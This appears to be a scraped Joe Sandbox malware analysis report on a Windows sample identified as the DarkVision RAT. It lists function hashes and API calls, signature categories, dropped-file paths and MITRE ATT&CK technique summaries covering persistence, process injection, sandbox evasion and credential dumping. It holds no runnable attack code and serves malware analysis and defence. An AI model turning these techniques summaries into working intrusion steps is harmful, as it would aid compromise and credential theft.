Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Create$CloseEventHandle$Thread
String ID:
API String ID: 3315681087-0
Opcode ID: 75d140b14a8b61b3ac78a521865084d2b42c1e628267827f94a05f541de129ef
Instruction ID: 8791bd27ff6c703c250612993d09f055e5def297e2acd588637a17f1d1f70607
Opcode Fuzzy Hash: 75d140b14a8b61b3ac78a521865084d2b42c1e628267827f94a05f541de129ef
Instruction Fuzzy Hash: 6F21F1B4611B80C2F7649B20FA6975637A0F374389F106925C945B26E4CF7E84D4C741

Function 00E3404C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 00E34087
_errno.LIBCMT ref: 00E34091
_invalid_parameter_noinfo.LIBCMT ref: 00E34098

Strings

-, xrefs: 00E340B3

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: f71b6384175b464f91dd1cf97e559d4d32636d652ffd11b7722b2513aca7f18f
Instruction ID: 210e526c68fabb7d163abac5295d9865ed3582a81281015de1b3923236e2bb96
Opcode Fuzzy Hash: f71b6384175b464f91dd1cf97e559d4d32636d652ffd11b7722b2513aca7f18f
Instruction Fuzzy Hash: BF315C62305B8486DB219F25F80875ABBA0E795BD8F146222EF9817BD9DF3DD485CB00

Function 00E328B4 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 00E328C8

Part of subcall function 00E30B64: _amsg_exit.LIBCMT ref: 00E30B8E

fclose.LIBCMT ref: 00E328F8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,00E30227), ref: 00E3291C
free.LIBCMT ref: 00E3292D

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CriticalDeleteSection_amsg_exit_lockfclosefree
String ID:
API String ID: 594724896-0
Opcode ID: 78b2622f5411a723218518f8bc3c4c94124d5cfbb3948ed22ac017eabad8ec1a
Instruction ID: 23f21a677d508cbec70eddd1103575cdeae1f084aba44be5e71237a85ed5f1ac
Opcode Fuzzy Hash: 78b2622f5411a723218518f8bc3c4c94124d5cfbb3948ed22ac017eabad8ec1a
Instruction Fuzzy Hash: FB117036610B8482D710DB19F89832DBBA0F7D4B98F259619DBDA67774CF35C852CB04

Function 00E01860 Relevance: 6.0, APIs: 4, Instructions: 21synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 00E01875
WaitForSingleObject.KERNEL32 ref: 00E01891
CloseHandle.KERNEL32 ref: 00E0189E
CloseHandle.KERNEL32 ref: 00E018C0

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 777dbf8fc3632375601c26065b3abb19c333506527608912849f89bd8911c77b
Instruction ID: 50b0b0d47c1c98064202f0bb82ecd2ca5f304b361b62ed0137582e7ae3147d9c
Opcode Fuzzy Hash: 777dbf8fc3632375601c26065b3abb19c333506527608912849f89bd8911c77b
Instruction Fuzzy Hash: 3FF09230920A9091F7149F95FC9831433A1F7A47D9F64AA16C41AB6AF0CF7F88C9C350

Function 00E1D05E Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 00E1D32E
CloseHandle.KERNEL32 ref: 00E1D345
CloseHandle.KERNEL32 ref: 00E1D367
CloseHandle.KERNEL32 ref: 00E1D389

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: 82d95b7103033d902948a90c9e8e53d16c8e26a2043a74430fc3d0cce4b7eb71
Instruction ID: 77cbe27263bc5620cbc9df69a1a31fca782edaa63620c226e553d4c48f11c9ca
Opcode Fuzzy Hash: 82d95b7103033d902948a90c9e8e53d16c8e26a2043a74430fc3d0cce4b7eb71
Instruction Fuzzy Hash: 8901BD34158BC091F7119B24FD583E833A4F3A4BD5F542A26C55AB22B2CF7E88CAC301

Function 00E1D033 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 00E1D32E
CloseHandle.KERNEL32 ref: 00E1D345
CloseHandle.KERNEL32 ref: 00E1D367
CloseHandle.KERNEL32 ref: 00E1D389

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: 22895e9f0ad57eb89ae3befc25affe5af3445f895d3ec8ceecc31fa57cfc47ed
Instruction ID: 77cbe27263bc5620cbc9df69a1a31fca782edaa63620c226e553d4c48f11c9ca
Opcode Fuzzy Hash: 22895e9f0ad57eb89ae3befc25affe5af3445f895d3ec8ceecc31fa57cfc47ed
Instruction Fuzzy Hash: 8901BD34158BC091F7119B24FD583E833A4F3A4BD5F542A26C55AB22B2CF7E88CAC301

Function 00E058D9 Relevance: 5.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 00E05A17
LocalFree.KERNEL32 ref: 00E05A2E
CloseHandle.KERNEL32 ref: 00E05A41
CloseHandle.KERNEL32 ref: 00E05A54

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 407ad451bf2e2bf966aa73b9f4abba4dafead0985304cf0f56f4df019bbe3795
Instruction ID: 2d8c66900049bc66415e0a0b356a90e574ac3a199f40be49ec0785ab11ead19f
Opcode Fuzzy Hash: 407ad451bf2e2bf966aa73b9f4abba4dafead0985304cf0f56f4df019bbe3795
Instruction Fuzzy Hash: 38F01522200CC081E7108B50FA8836A63B1F3A0799F503B22D05AA64F0CFBEC8CACB01

Function 00E05840 Relevance: 5.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 00E05A17
LocalFree.KERNEL32 ref: 00E05A2E
CloseHandle.KERNEL32 ref: 00E05A41
CloseHandle.KERNEL32 ref: 00E05A54

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 7a11eaf5b6decfaec6b1ebbcad1cf123de54f51fc7bafbc7f171939df23a1507
Instruction ID: 2d8c66900049bc66415e0a0b356a90e574ac3a199f40be49ec0785ab11ead19f
Opcode Fuzzy Hash: 7a11eaf5b6decfaec6b1ebbcad1cf123de54f51fc7bafbc7f171939df23a1507
Instruction Fuzzy Hash: 38F01522200CC081E7108B50FA8836A63B1F3A0799F503B22D05AA64F0CFBEC8CACB01

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DarkVision Rat

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat

C:\Users\user\AppData\Local\Temp\DATABASE

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1fo2q1k4.ctr.ps1

Windows Analysis Report
file.exe

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
